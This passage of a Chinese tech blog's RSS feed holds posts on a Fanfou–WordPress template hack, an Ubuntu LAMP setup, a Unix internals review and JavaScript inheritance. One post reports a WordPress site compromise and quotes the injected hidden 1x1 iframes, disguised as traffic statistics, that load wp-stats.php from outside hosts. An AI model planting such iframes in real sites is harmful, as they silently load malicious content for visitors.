<p>将这俩个文件放到当前模板目录下面。</p>
<p>修改俩个文件中的四个配置变量分别是：</p>
<ul>
<li>$ingid：你的饭否id(登录饭否时用的id，英文)</li>
<li>$ingname：饭否用户名(饭否消息中显示的用户名)</li>
<li>$noname：是否在显示饭否消息时去掉用户名(支持去掉中文名)(在输内容里去掉每条消息前的用户名 true/false)</li>
<li>$ingnum：消息的输出条数(1-20条)</li>
</ul>
<p>修改ings.php文件中的html结构使之适合你当前的模板结构。</p>
<p><strong>使用方法</strong>：</p>
<p><strong>显示单条新消息</strong>:</p>
<p>在模板中想要显示饭否最新一条信息的地方引用ing.php这个文件。</p>
<blockquote><p>&lt;?php include (TEMPLATEPATH . &#39;/ing.php&#39;); ?&gt;</p></blockquote>
<p><strong>显示消息存档页面</strong>：</p>
<p>新建一个page，在page template里选择&#8221;Ings&#8221;，填完标题后内容留空发表就OK了。</p>
<p><strong>其他说明</strong>：</p>
<p>文件利用wp自带的MagpieRSS：/wp-includes/rss.php来读取并解析饭否API输出的用户xml文件并输出到页面，没有引入其他的代码，没有做成插件，尽量简单高效地实现消息输出。</p>
<p>wordpress默认的rss.php缓存更新时间为一个小时,如果心急测试,可以在rss.php的582行缓存设置做修改,如设置为10分钟(60*10)。</p>
<div class="feedflare">
<a href="http://feeds.ihao.net/~f/Ihao?a=aX8WkI"><img src="http://feeds.ihao.net/~f/Ihao?i=aX8WkI" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=r49FMI"><img src="http://feeds.ihao.net/~f/Ihao?i=r49FMI" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=uqQrkI"><img src="http://feeds.ihao.net/~f/Ihao?i=uqQrkI" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=gpYVUi"><img src="http://feeds.ihao.net/~f/Ihao?i=gpYVUi" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=Asdfgi"><img src="http://feeds.ihao.net/~f/Ihao?i=Asdfgi" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=7QNKXi"><img src="http://feeds.ihao.net/~f/Ihao?i=7QNKXi" border="0"></img></a>
</div><img src="http://feeds.ihao.net/~r/Ihao/~4/241863527" height="1" width="1"/>]]></content:encoded><description>看到有朋友提出这个源码用不了，于是乎作了些修改并测试了新版WP下的效果，都可以正常运行。
本来这几句代码是用在自己的blog上，没想到会有这些许朋友用到它。文件里关于使用方法及修改说明也写得乱七八糟的，今天重新作了修改，附上详细说明：
解包及配置:
下载文件包：fanfou_ing_plugin_for_wordpress.zip (google code host不给我传文件faint~~暂时先用svn co吧，或者邮件送出)
如果你也用svn的话那么请从这儿checkout:
http://ihao.googlecode.com/svn/trunk/plugin/wordpress/fanfou
解压后得到俩个文件：

ing.php (输出最新的单条饭否消息) 
ings.php (输出20饭否存档信息的page模板)

将这俩个文件放到当前模板目录下面。
修改俩个文件中的四个配置变量分别是：

$ingid：你的饭否id(登录饭否时用的id，英文)
$ingname：饭否用户名(饭否消息中显示的用户名)
$noname：是否在显示饭否消息时去掉用户名(支持去掉中文名)(在输内容里去掉每条消息前的用户名 true/false)
$ingnum：消息的输出条数(1-20条)

修改ings.php文件中的html结构使之适合你当前的模板结构。
使用方法：
显示单条新消息:
在模板中想要显示饭否最新一条信息的地方引用ing.php这个文件。
&amp;#60;?php include (TEMPLATEPATH . &amp;#39;/ing.php&amp;#39;); ?&amp;#62;
显示消息存档页面：
新建一个page，在page template里选择&amp;#8221;Ings&amp;#8221;，填完标题后内容留空发表就OK了。
其他说明：
文件利用wp自带的MagpieRSS：/wp-includes/rss.php来读取并解析饭否API输出的用户xml文件并输出到页面，没有引入其他的代码，没有做成插件，尽量简单高效地实现消息输出。
wordpress默认的rss.php缓存更新时间为一个小时,如果心急测试,可以在rss.php的582行缓存设置做修改,如设置为10分钟(60*10)。</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://ihao.net/2008/02/use-fanfou-api-integration-to-wordpress-update/feed/</wfw:commentRss><feedburner:origLink>http://ihao.net/2008/02/use-fanfou-api-integration-to-wordpress-update/</feedburner:origLink></item><item><title>WordPress被注入？还是见鬼了！</title><link>http://feeds.ihao.net/~r/Ihao/~3/225874644/</link><category>wordpress</category><category>blog</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">iHao</dc:creator><pubDate>Wed, 30 Jan 2008 06:10:32 -0600</pubDate><guid isPermaLink="false">http://ihao.net/2008/01/wordpress-shit-happend-wp-stats-php/</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>晚上打开blog首页时感觉相当卡，以为是firefox又在吃内存了，可每次开都卡就奇怪了，打开firebug一查，居然在打开首页时载入了俩个php文件，看文件名是wp-stats.php，以自己根本就没用过这个插件，再一看吓一跳，居然这文件是来自www.wp-stats-php.info和61.132.75.71的，还是放在俩个iframe里，回想一下自己的blog几乎都是自己一个字一个字码上的，就算转贴也不可能转到这样的代码啊。</p>
<p>打开首页原文件一查，居然是出去年十月份的一篇文章的最后。自己可从没在文章里加过广告之类的附加代码，到底是如何而来的。访问61.132.75.71无法打开，再访问www.wp-stats-php.info页面只显示&#8221;asasasa&#8221;，要不是61.132.75.71无法访问造面blog首页载入变慢估计我到死也想不到自己的blog被人搞进这么恶心的东西。</p>
<p>上网找答案，发现出这情况的还不只我一个：</p>
<ul>
<li><a href="http://xings.us/2007/11/02/weird-thing-happened-in-the-post/">Weird Thing happened in The Post</a></li>
<li><a href="http://www.jerryhong.com/2007/11/04/%e5%85%b3%e4%ba%8e%e5%8d%a1%e5%b7%b46%e6%8a%a5%e6%9c%ac%e7%ab%99%e6%9c%89%e9%a9%ac%e7%9a%84%e9%97%ae%e9%a2%98%e2%80%a6%e2%80%a6/">关于卡巴6报本站有马的问题……</a></li>
<li><a href="http://wordpress.org/support/topic/134928">iframe injection problem?</a></li>
</ul>
<p>看来wp确实还存在着这么个不小的漏洞，这也不能怪我没有及时升级版本，2.3.1也有这情况出现。<br />
而据说这事的始作俑者还是中国人，真不晓得该自豪还是悲哀。<br />
目前还不知道有什么好的方法来解决，看来也只能看到一个删除一个了。</p>
<p>Update:忘了，把那段代码贴一下。</p>
<blockquote><p>&lt;!&#8211; Traffic Statistics &#8211;&gt;&lt;br /&gt;<br />&lt;iframe src=http://61.132.75.71/iframe/wp-stats.php width=1 height=1 frameborder=0&gt;&lt;/iframe&gt;&lt;br /&gt;<br />&lt;!&#8211; End Traffic Statistics &#8211;&gt;&lt;!&#8211; Traffic Statistics &#8211;&gt; &lt;iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0&gt;&lt;/iframe&gt; &lt;!&#8211; End Traffic Statistics &#8211;&gt;&lt;/p&gt;</p></blockquote>
<div class="feedflare">
<a href="http://feeds.ihao.net/~f/Ihao?a=8Xc8yI"><img src="http://feeds.ihao.net/~f/Ihao?i=8Xc8yI" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=ufzHSI"><img src="http://feeds.ihao.net/~f/Ihao?i=ufzHSI" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=6iBnEI"><img src="http://feeds.ihao.net/~f/Ihao?i=6iBnEI" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=hfEhBi"><img src="http://feeds.ihao.net/~f/Ihao?i=hfEhBi" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=AdFwYi"><img src="http://feeds.ihao.net/~f/Ihao?i=AdFwYi" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=u6wFai"><img src="http://feeds.ihao.net/~f/Ihao?i=u6wFai" border="0"></img></a>
</div><img src="http://feeds.ihao.net/~r/Ihao/~4/225874644" height="1" width="1"/>]]></content:encoded><description>晚上打开blog首页时感觉相当卡，以为是firefox又在吃内存了，可每次开都卡就奇怪了，打开firebug一查，居然在打开首页时载入了俩个php文件，看文件名是wp-stats.php，以自己根本就没用过这个插件，再一看吓一跳，居然这文件是来自www.wp-stats-php.info和61.132.75.71的，还是放在俩个iframe里，回想一下自己的blog几乎都是自己一个字一个字码上的，就算转贴也不可能转到这样的代码啊。
打开首页原文件一查，居然是出去年十月份的一篇文章的最后。自己可从没在文章里加过广告之类的附加代码，到底是如何而来的。访问61.132.75.71无法打开，再访问www.wp-stats-php.info页面只显示&amp;#8221;asasasa&amp;#8221;，要不是61.132.75.71无法访问造面blog首页载入变慢估计我到死也想不到自己的blog被人搞进这么恶心的东西。
上网找答案，发现出这情况的还不只我一个：

Weird Thing happened in The Post
关于卡巴6报本站有马的问题……
iframe injection problem?

看来wp确实还存在着这么个不小的漏洞，这也不能怪我没有及时升级版本，2.3.1也有这情况出现。
而据说这事的始作俑者还是中国人，真不晓得该自豪还是悲哀。
目前还不知道有什么好的方法来解决，看来也只能看到一个删除一个了。
Update:忘了，把那段代码贴一下。
&amp;#60;!&amp;#8211; Traffic Statistics &amp;#8211;&amp;#62;&amp;#60;br /&amp;#62;&amp;#60;iframe src=http://61.132.75.71/iframe/wp-stats.php width=1 height=1 frameborder=0&amp;#62;&amp;#60;/iframe&amp;#62;&amp;#60;br /&amp;#62;&amp;#60;!&amp;#8211; End Traffic Statistics &amp;#8211;&amp;#62;&amp;#60;!&amp;#8211; Traffic Statistics &amp;#8211;&amp;#62; &amp;#60;iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0&amp;#62;&amp;#60;/iframe&amp;#62; &amp;#60;!&amp;#8211; End Traffic Statistics &amp;#8211;&amp;#62;&amp;#60;/p&amp;#62;</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://ihao.net/2008/01/wordpress-shit-happend-wp-stats-php/feed/</wfw:commentRss><feedburner:origLink>http://ihao.net/2008/01/wordpress-shit-happend-wp-stats-php/</feedburner:origLink></item><item><title>Unix核心介绍</title><link>http://feeds.ihao.net/~r/Ihao/~3/225187622/</link><category>unix</category><category>manual</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">iHao</dc:creator><pubDate>Tue, 29 Jan 2008 05:36:59 -0600</pubDate><guid isPermaLink="false">http://ihao.net/2008/01/unix-kernal-introduce/</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p><strong>无意间找到这篇写于97年的大作，拜读后觉着值得在blog留个存档。</strong></p>
<p>发信人: syc@cc.ntu.edu.tw (Shiau Yong-Ching), 看板: Linux<br />
标  题: Unix核心 介绍<br />
发信站: National Taiwan University (Wed Jul  9 23:23:08 1997)<br />
转信站: sobee!netnews.ntu!not-for-mail</p>
<p>在出国前, 送给陪伴我大学四年的TAnet &#038; UNIX&#8230;</p>
<p>                               UNIX Internals</p>
<p>                              The New Fronters</p>
<p>导读</p>
<blockquote><p>UNIX系统的安装数已经成长到10个,<br />
预料此数字会持续增加中&#8221;<br />
&#8211; Ken Thompson和Dennis Ritchie<br />
於UNIX程式设计师手册第二版<br />
1972年6月12日</p></blockquote>
<p>讨论UNIX的书籍很多,但是绝大部分都只是讨论如何使用,讨论UNIX程式设计的书不<br />
多,而介绍UNIX系统核心的书则是更少了..以下是几本有名的书:</p>
<p>   * Bach的The Design of the UNIX Operating System, 1986 &#8211;讨论System V<br />
     Release 2<br />
   * Leffler等人, The Design and Implementation of the 4.3BSD UNIX<br />
     Operating System, 1988 &#8212; 讨论4.3BSD UNIX<br />
   * Goodheart和Cox, The Magic Garden Explained, 1994 &#8212; 讨论System V<br />
     Release 4.0</p>
<p>然而,这些书都只是针对单独的/特定的UNIX系统所写的,很少给读者一个整体的<br />
观点. 而Uresh Vahalia的UNIX Internals &#8212; The New Frontiers这本书<br />
则是从一个宏观的角度来看Unix系统.在本书中,作者讨论了商业界,学术界<br />
的各种UNIX系统,详细的介绍了各系统的演算法,并对各系统的优缺点作了<br />
详细而且客观的比较,实在是系统管理员,程式设计师,电脑玩家认识各家<br />
UNIX核心最好的读物.</p>
<p>本书是以介绍UNIX System V Release 4.2为主,并旁徵博引其他各家的UNIX,<br />
以讨论其中利弊得失.出版日期是1996,是介绍UNIX核心的最新参考资料.</p>
<p>我的读後感是没有基础会读起来很辛苦.有UNIX的使用,管理以及程式设计的经验<br />
是必须的,建议Bach的The Design of the UNIX Operating<br />
System也先读过,那麽读这本<br />
书就驾轻就熟了.</p>
<p>本文依序介绍本书中精采的部分,也就是大部分UNIX爱好者想要了解的部分,以飨宴<br />
那些无法读原文书,或者没有时间专研Unix核心者.对於读者的程度没有特定的假设.<br />
介绍的深度也是随兴的,请各位多多包涵.<br />
 <a href="http://ihao.net/2008/01/unix-kernal-introduce/#more-65" class="more-link">(more&#8230;)</a></p>
<div class="feedflare">
<a href="http://feeds.ihao.net/~f/Ihao?a=EMMxMI"><img src="http://feeds.ihao.net/~f/Ihao?i=EMMxMI" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=Nod5pI"><img src="http://feeds.ihao.net/~f/Ihao?i=Nod5pI" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=I5LoNI"><img src="http://feeds.ihao.net/~f/Ihao?i=I5LoNI" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=BoaWoi"><img src="http://feeds.ihao.net/~f/Ihao?i=BoaWoi" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=WEd2Ii"><img src="http://feeds.ihao.net/~f/Ihao?i=WEd2Ii" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=dG9nwi"><img src="http://feeds.ihao.net/~f/Ihao?i=dG9nwi" border="0"></img></a>
</div><img src="http://feeds.ihao.net/~r/Ihao/~4/225187622" height="1" width="1"/>]]></content:encoded><description>无意间找到这篇写于97年的大作，拜读后觉着值得在blog留个存档。
发信人: syc@cc.ntu.edu.tw (Shiau Yong-Ching), 看板: Linux
标  题: Unix核心 介绍
发信站: National Taiwan University (Wed Jul  9 23:23:08 1997)
转信站: sobee!netnews.ntu!not-for-mail
在出国前, 送给陪伴我大学四年的TAnet &amp;#038; UNIX&amp;#8230;
                               UNIX Internals
 [...]</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://ihao.net/2008/01/unix-kernal-introduce/feed/</wfw:commentRss><feedburner:origLink>http://ihao.net/2008/01/unix-kernal-introduce/</feedburner:origLink></item><item><title>用ubuntu-7.10配置lamp准服务器(1)</title><link>http://feeds.ihao.net/~r/Ihao/~3/207845999/</link><category>setup</category><category>tutorial</category><category>ubuntu</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">iHao</dc:creator><pubDate>Fri, 28 Dec 2007 21:07:41 -0600</pubDate><guid isPermaLink="false">http://ihao.net/2007/12/use-ubuntu-server-710-setup-lamp-server-tutorial-1/</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>这次玩得有点大，前几次装都是图形界面的desktop版，前段时间下了个7.10纯字符界面的server版，在VMware里试着用7.10配了个lamp的测试环境。基本也能跑得起来，所以在此作些记录，以方便自己或者看客查找。</p>
<p><strong>说明：</strong><br />
标题特意用了“准服务器”的字眼是因为接下来所记录的大部份操作都是基于配置一台可运行的lamp服务器的目的，而不考虑服务器在真实运行情况下的严格的用户权限设置。</p>
<p><strong>目标：</strong></p>
<ul>
<li>apache2 (2.2.4)</li>
<li>php5 (5.2.3-1ubuntu6.2)</li>
<li>mysql (5.0.45)</li>
<li>phpmyadmin (2.10.3deb1ubuntu0.1)</li>
<li>ssh </li>
<li>ftp (proftpd 1.3.0)</li>
</ul>
<p>安装基本系统就不说了，一路NEXT,再作几个基本选项就ok了，那么就从装完基本系统(在第一次重启从硬盘进入系统)后开始吧(为了方便，下面所有命令都是以root用户执行的，也就是说登录系统后执行su切换到root用户再执行，当然也可以在每个命令前用sudo来代替)：</p>
<p><strong>首先给root一个密码再切换到root用户</strong>:</p>
<blockquote><p>sudo passwd root<br />
su</p></blockquote>
<p><strong>接着得让系统连上网</strong>(当然在安装系统的时候其实已经配置过网卡了，只不过是以dhcp形式自动获得的ip及网关，这里所说的配置当然是指给系统指定一个ip，或者说在安装过程中dhcp没有自动获得ip连上网的情况下)，手动配置网卡：</p>
<blockquote><p>vim /etc/network/interfaces</p></blockquote>
<p>打开后在文件后面追加:</p>
<blockquote><p>        auto eth0 ###开机自动挂载第一块网卡(如文件中已有这句就不用加了)<br />
        iface eth0 inet static ###以静态ip形式配置网卡(可能会在文件里找到与这句类似的，用#注释掉，那句应该是配置网卡双dhcp自动获得ip)<br />
                address 192.168.0.100 ###设置ip<br />
                netmask 255.255.255.0 ###设置掩码<br />
                gateway 192.168.0.1 ###设置网关</p></blockquote>
<p>编辑完后Shift+ZZ保存退出vim<br />
接着重启第一块网卡eth0:</p>
<blockquote><p>/etc/init.d/network restart</p></blockquote>
<p>没什么意外的话会显示俩个ok信息，一个是关闭，一个是启动<br />
查看下当前网卡的信息：</p>
<blockquote><p>ifconfig eth0</p></blockquote>
<p><strong>接着配置下hosts文件(非必需):</strong></p>
<blockquote><p>vim /etc/hosts</p></blockquote>
<p>添加一行：</p>
<blockquote><p>192.168.0.100   server1.ihao.net     server1</p></blockquote>
<p>接着：</p>
<blockquote><p>echo server1.example.com > /etc/hostname<br />
/etc/init.d/hostname.sh start</p></blockquote>
<p>这时在命令行下输入:</p>
<blockquote><p>hostname<br />
hostname -f</p></blockquote>
<p>得到的结果应该都是：</p>
<blockquote><p>server1.ihao.net</p></blockquote>
<p>随便找个网址ping一下试试网络能不能用。如果不行那说明你人品有问题，我也没折，这里不作解答。或者从这系列文章最后列出的几个参考文章里面找答案</p>
<p><strong>接下来配置源地址</strong>：<br />
这将会使你的安装过程缩短不只200%的时间，因为默认的服务器安装软件都会从欧美那边的ubuntu服务器源更新及安装软件包，在我这儿实测，从欧美的源更新速度是10k左右(杭州2M电信)，而如果换到国内的源的话是400K左右，这么一算那差别可是40倍啊，饿地神呀！！！<br />
首先找到国内的可用源地址，没啥好说的，如果你懒得放狗搜一下的话就直接<a href="http://wiki.ubuntu.org.cn/index.php?title=%E5%BF%AB%E9%80%9F%E8%AE%BE%E7%BD%AE%E6%8C%87%E5%8D%97/GutsyGibbon&#038;variant=zh-cn#.E4.BF.AE.E6.94.B9.E6.BA.90.E5.B9.B6.E6.9B.B4.E6.96.B0.E4.BD.A0.E7.9A.84.28k.2Fx.2Fed.29ubuntu">进入这儿找吧</a>。<br />
从列表中找一组你连得最快的地址。<br />
我选的是：Ubuntu.cn99.com更新服务器（江苏省常州市电信，推荐电信用户使用）。<br />
操作开始：</p>
<p>编辑源列表文件：</p>
<blockquote><p>vim /etc/apt/sources.list</p></blockquote>
<p>将默认的源地址用#注释掉，在文件最后追加上Ubuntu.cn99.com源列表地址</p>
<p>保存退出后执行(更新源列表)：</p>
<blockquote><p>apt-get update</p></blockquote>
<p>再执行(安装更新)：</p>
<blockquote><p>apt-get upgrade</p></blockquote>
<p>操作至此已经完成了最基本的一些配置，下一篇将说明在服务器上安装一些服务，像ssh,apache2,php5等</p>
<div class="feedflare">
<a href="http://feeds.ihao.net/~f/Ihao?a=BI69NI"><img src="http://feeds.ihao.net/~f/Ihao?i=BI69NI" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=vSytlI"><img src="http://feeds.ihao.net/~f/Ihao?i=vSytlI" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=Atew2I"><img src="http://feeds.ihao.net/~f/Ihao?i=Atew2I" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=ebgsmi"><img src="http://feeds.ihao.net/~f/Ihao?i=ebgsmi" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=yQLRoi"><img src="http://feeds.ihao.net/~f/Ihao?i=yQLRoi" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=68Au0i"><img src="http://feeds.ihao.net/~f/Ihao?i=68Au0i" border="0"></img></a>
</div><img src="http://feeds.ihao.net/~r/Ihao/~4/207845999" height="1" width="1"/>]]></content:encoded><description>这次玩得有点大，前几次装都是图形界面的desktop版，前段时间下了个7.10纯字符界面的server版，在VMware里试着用7.10配了个lamp的测试环境。基本也能跑得起来，所以在此作些记录，以方便自己或者看客查找。
说明：
标题特意用了“准服务器”的字眼是因为接下来所记录的大部份操作都是基于配置一台可运行的lamp服务器的目的，而不考虑服务器在真实运行情况下的严格的用户权限设置。
目标：

apache2 (2.2.4)
php5 (5.2.3-1ubuntu6.2)
mysql (5.0.45)
phpmyadmin (2.10.3deb1ubuntu0.1)
ssh 
ftp (proftpd 1.3.0)

安装基本系统就不说了，一路NEXT,再作几个基本选项就ok了，那么就从装完基本系统(在第一次重启从硬盘进入系统)后开始吧(为了方便，下面所有命令都是以root用户执行的，也就是说登录系统后执行su切换到root用户再执行，当然也可以在每个命令前用sudo来代替)：
首先给root一个密码再切换到root用户:
sudo passwd root
su
接着得让系统连上网(当然在安装系统的时候其实已经配置过网卡了，只不过是以dhcp形式自动获得的ip及网关，这里所说的配置当然是指给系统指定一个ip，或者说在安装过程中dhcp没有自动获得ip连上网的情况下)，手动配置网卡：
vim /etc/network/interfaces
打开后在文件后面追加:
        auto eth0 ###开机自动挂载第一块网卡(如文件中已有这句就不用加了)
        iface eth0 inet static ###以静态ip形式配置网卡(可能会在文件里找到与这句类似的，用#注释掉，那句应该是配置网卡双dhcp自动获得ip)
                address 192.168.0.100 ###设置ip
     [...]</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://ihao.net/2007/12/use-ubuntu-server-710-setup-lamp-server-tutorial-1/feed/</wfw:commentRss><feedburner:origLink>http://ihao.net/2007/12/use-ubuntu-server-710-setup-lamp-server-tutorial-1/</feedburner:origLink></item><item><title>好吧我要继承</title><link>http://feeds.ihao.net/~r/Ihao/~3/199705939/</link><category>javascript</category><category>jquery</category><category>code</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">iHao</dc:creator><pubDate>Thu, 13 Dec 2007 06:11:10 -0600</pubDate><guid isPermaLink="false">http://ihao.net/2007/12/%e5%a5%bd%e5%90%a7%e6%88%91%e8%a6%81%e7%bb%a7%e6%89%bf/</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>chinese继承自person,并新建了个方法:saylove.在onload中测试new一个chinese.并直接调用person中定义的say和from方法.最后调用chinese增加的saylove方法.返回ok.那么这应该就算继承了吧.
<p><strong>js</strong>:
<p>$(function(){ //this code need jquery support<br />&nbsp;&nbsp;&nbsp; $(&#8221;a.say&#8221;).click(function(){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var name = $(this).attr(&#8221;name&#8221;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var sex = $(this).attr(&#8221;sex&#8221;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var area = $(this).attr(&#8221;area&#8221;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ihao = new chinese(name,sex,area);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ihao.say();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ihao.from();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ihao.saylove();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false;<br />&nbsp;&nbsp;&nbsp; });<br />});<br />function chinese(name,sex,area){<br />&nbsp;&nbsp;&nbsp; person.call(this,name,sex);<br />&nbsp;&nbsp;&nbsp; this.area=area;<br />&nbsp;&nbsp;&nbsp; this.say=function(){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; alert(&#8221;chinese &gt; my name is:&#8221;+this.name+&#8221; and sex:&#8221;+this.sex);<br />&nbsp;&nbsp;&nbsp; }<br />}<br />chinese.prototype=new person();<br />chinese.prototype.from=function(){<br />&nbsp;&nbsp;&nbsp; alert(&#8221;and from:&#8221;+this.area);<br />}<br />function person(name,sex){<br />&nbsp;&nbsp;&nbsp; this.name=name;<br />&nbsp;&nbsp;&nbsp; this.sex=sex;<br />&nbsp;&nbsp;&nbsp; this.say=function(){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; alert(&#8221;my name is:&#8221;+this.name+&#8221; and sex:&#8221;+this.sex);<br />&nbsp;&nbsp;&nbsp; }<br />}<br />person.prototype.saylove=function(){<br />&nbsp;&nbsp;&nbsp; alert(&#8221;love&#8221;+this.name);<br />}
<p><strong>html</strong>:
<p>&lt;a href=&#8221;#ihao_say&#8221; class=&#8221;say&#8221; name=&#8221;ihao&#8221; sex=&#8221;male&#8221; area=&#8221;hangzhou&#8221;&gt;ihao say&lt;/a&gt;
<p>&lt;a href=&#8221;#tt_say&#8221; class=&#8221;say&#8221; name=&#8221;tt&#8221; sex=&#8221;female&#8221; area=&#8221;hz&#8221;&gt;tt say&lt;/a&gt;
<p>&nbsp;
<p>btw:对象函数最好用原型(prototype)来写.
<p>关于js面向对象:<br />
<h4><a href="http://cceer.xmu.edu.cn/blog/post/javascript_oop1.html">javascript面向对象编程的学习(基础)</a></h4>
<h4><a href="http://cceer.xmu.edu.cn/blog/post/javascript_oop2.html">javascript面向对象编程的学习&#8212;对象继承</a></h4>
<h4><a href="http://cceer.xmu.edu.cn/blog/post/javascript_oop3.html">javascript对象编程规范(个人)</a></h4>
<div class="feedflare">
<a href="http://feeds.ihao.net/~f/Ihao?a=32GGyI"><img src="http://feeds.ihao.net/~f/Ihao?i=32GGyI" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=CtMwDI"><img src="http://feeds.ihao.net/~f/Ihao?i=CtMwDI" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=JnV9eI"><img src="http://feeds.ihao.net/~f/Ihao?i=JnV9eI" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=iUTZii"><img src="http://feeds.ihao.net/~f/Ihao?i=iUTZii" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=nIf7gi"><img src="http://feeds.ihao.net/~f/Ihao?i=nIf7gi" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=8JkbOi"><img src="http://feeds.ihao.net/~f/Ihao?i=8JkbOi" border="0"></img></a>
</div><img src="http://feeds.ihao.net/~r/Ihao/~4/199705939" height="1" width="1"/>]]></content:encoded><description>chinese继承自person,并新建了个方法:saylove.在onload中测试new一个chinese.并直接调用person中定义的say和from方法.最后调用chinese增加的saylove方法.返回ok.那么这应该就算继承了吧.
js:
$(function(){ //this code need jquery support&amp;#160;&amp;#160;&amp;#160; $(&amp;#8221;a.say&amp;#8221;).click(function(){&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; var name = $(this).attr(&amp;#8221;name&amp;#8221;);&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; var sex = $(this).attr(&amp;#8221;sex&amp;#8221;);&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; var area = $(this).attr(&amp;#8221;area&amp;#8221;);&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; ihao = new chinese(name,sex,area);&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; ihao.say();&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; ihao.from();&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; ihao.saylove();&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; return false;&amp;#160;&amp;#160;&amp;#160; });});function chinese(name,sex,area){&amp;#160;&amp;#160;&amp;#160; person.call(this,name,sex);&amp;#160;&amp;#160;&amp;#160; this.area=area;&amp;#160;&amp;#160;&amp;#160; this.say=function(){&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; alert(&amp;#8221;chinese &amp;#62; my name is:&amp;#8221;+this.name+&amp;#8221; and sex:&amp;#8221;+this.sex);&amp;#160;&amp;#160;&amp;#160; }}chinese.prototype=new person();chinese.prototype.from=function(){&amp;#160;&amp;#160;&amp;#160; alert(&amp;#8221;and from:&amp;#8221;+this.area);}function person(name,sex){&amp;#160;&amp;#160;&amp;#160; this.name=name;&amp;#160;&amp;#160;&amp;#160; this.sex=sex;&amp;#160;&amp;#160;&amp;#160; this.say=function(){&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; alert(&amp;#8221;my name is:&amp;#8221;+this.name+&amp;#8221; and sex:&amp;#8221;+this.sex);&amp;#160;&amp;#160;&amp;#160; }}person.prototype.saylove=function(){&amp;#160;&amp;#160;&amp;#160; alert(&amp;#8221;love&amp;#8221;+this.name);}
html:
